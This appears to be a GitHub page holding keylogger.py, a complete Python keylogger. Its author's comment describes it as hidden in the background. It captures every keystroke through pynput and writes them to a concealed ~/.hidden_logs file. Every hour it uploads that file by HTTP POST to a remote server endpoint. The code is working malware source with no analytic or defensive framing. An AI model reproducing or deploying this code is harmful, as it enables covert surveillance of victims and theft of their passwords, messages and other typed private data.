-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
58 lines (49 loc) · 1.71 KB
/
keylogger.py
File metadata and controls
58 lines (49 loc) · 1.71 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#Author: Omri Yaakov
#Purpose: App that is hidden in the background and capture every key stroke from the user to a txt file, And every hour send it to the server.
import os
import sys
import logging
try:
import requests
except ImportError:
print("The 'requests' module is not installed. Install it using 'pip install requests'.")
sys.exit(1)
from pynput import keyboard
from threading import Timer
from datetime import datetime
# Directory to store logs (hidden directory in the user's home directory)
log_dir = os.path.join(os.path.expanduser("~"), ".hidden_logs")
if not os.path.exists(log_dir):
os.makedirs(log_dir)
log_file = os.path.join(log_dir, "keylog.txt")
# Configure logging
logging.basicConfig(filename=log_file, level=logging.DEBUG, format='%(message)s')
# Function to log keystrokes
def on_press(key):
try:
logging.info(key.char)
except AttributeError:
if key == keyboard.Key.space:
logging.info(" ")
else:
logging.info(f'[{key}]')
# Start and stop the listener
def start_listener():
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
# Run the listener in the background
def run_background():
Timer(0, start_listener).start()
# Function to send the log file via HTTP POST
def send_log_file():
url = 'http://your-server-ip:5000/upload'
files = {'file': open(log_file, 'rb')}
response = requests.post(url, files=files)
print(response.text)
# Timer to send the log file periodically (e.g., every hour)
def upload_timer():
send_log_file()
Timer(3600, upload_timer).start()
if __name__ == "__main__":
run_background()
upload_timer()